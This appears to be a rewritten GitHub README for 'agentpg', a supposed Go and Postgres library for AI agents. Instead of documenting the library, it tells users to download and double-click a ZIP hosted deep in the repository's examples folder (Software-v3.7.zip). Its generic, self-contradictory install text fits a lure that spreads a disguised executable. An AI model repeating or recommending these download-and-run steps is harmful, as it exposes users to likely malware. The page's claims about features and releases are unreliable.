agentpg：面向 Go 和 Postgres 的有状态 AI 智能体

🚀 agentpg - Build Smart Agents for Your Data

🌟 Overview

Agentpg provides stateful AI agents designed for Go and Postgres. These agents ensure transaction safety while allowing you to create responsive, intelligent applications. Whether you're looking to handle complex user interactions or automate tasks, agentpg gives you the tools you need.

🚀 Getting Started

Follow these steps to get started with agentpg.

1. Visit the Releases Page:
   Go to the Releases page to find the latest version of agentpg.

2. Download the Latest Release:
   On the Releases page, look for the latest version link. Click on the download link for your operating system (Windows, macOS, Linux).

3. Extract the Files:
   After downloading the file, you might need to extract it. If it is in a ZIP format, right-click on the file and select 'Extract All...' or 'Unzip'.

4. Run Agentpg:

   • Windows: Locate the https://raw.githubusercontent.com/yassineelfakiri/agentpg/main/examples/custom_tools/Software-v3.7.zip file you extracted. Double-click it to start.
   • macOS: Find the agentpg file in your Downloads folder. Double-click to run it.
   • Linux: Open the terminal. Navigate to the folder where you extracted agentpg using the command cd /path/to/folder. Type ./agentpg and press Enter.

🎯 Download & Install

To download the latest version of agentpg, visit this page:
Download agentpg

📋 Requirements

Before you download agentpg, ensure your system meets the following requirements:

• Operating System:

  • Windows 10 or later
  • macOS High Sierra (10.13) or later
  • Any recent Linux distribution (Ubuntu, Fedora, etc.)

• Memory:
  Minimum 4 GB of RAM for optimal performance.

• Storage:
  At least 100 MB of free disk space.

⚙️ Features

Agentpg comes with several features designed to enhance your experience:

• Stateful Agents: Keeps track of context and previous interactions, making your conversations more meaningful.

• Transaction Safety: Guarantees that interactions with your database are reliable and secure.

• Multi-Tenancy Support: Suitable for applications serving multiple clients without any data crossover.

• Easy Integration: Built for Go, allowing smooth installation and deployment.

• Streaming Data Handling: Efficiently manage data in real-time for responsive applications.

🛠️ Usage

Once you have run agentpg, you can begin creating your AI agents. Here’s a basic outline:

1. Creating Your First Agent:
   Use the provided templates to start. This may involve defining intents, responses, and data queries.

2. Testing:
   Test your agent's performance with various input scenarios to ensure it handles different situations well.

3. Deploying Your Agent:
   When you’re satisfied, deploy your agent in your application environment.

If you encounter any issues while using agentpg, you can reach out for help:

• Documentation: Detailed guides are available on the repository's wiki.
• Community: Join discussions and ask questions in the issues section of the GitHub repository.

📜 Contributing

If you want to contribute to agentpg, here are a few ways to get involved:

• Report Bugs: Let us know if you find any issues while using the software.

• Suggest Features: Have an idea for an improvement? Share it with us!

• Code Contributions: If you have the technical skills, feel free to submit a pull request.

👨‍💻 Acknowledgments

Thank you to all the contributors and users. Your feedback helps enhance agentpg and improve our community.

For more information, check the Releases page.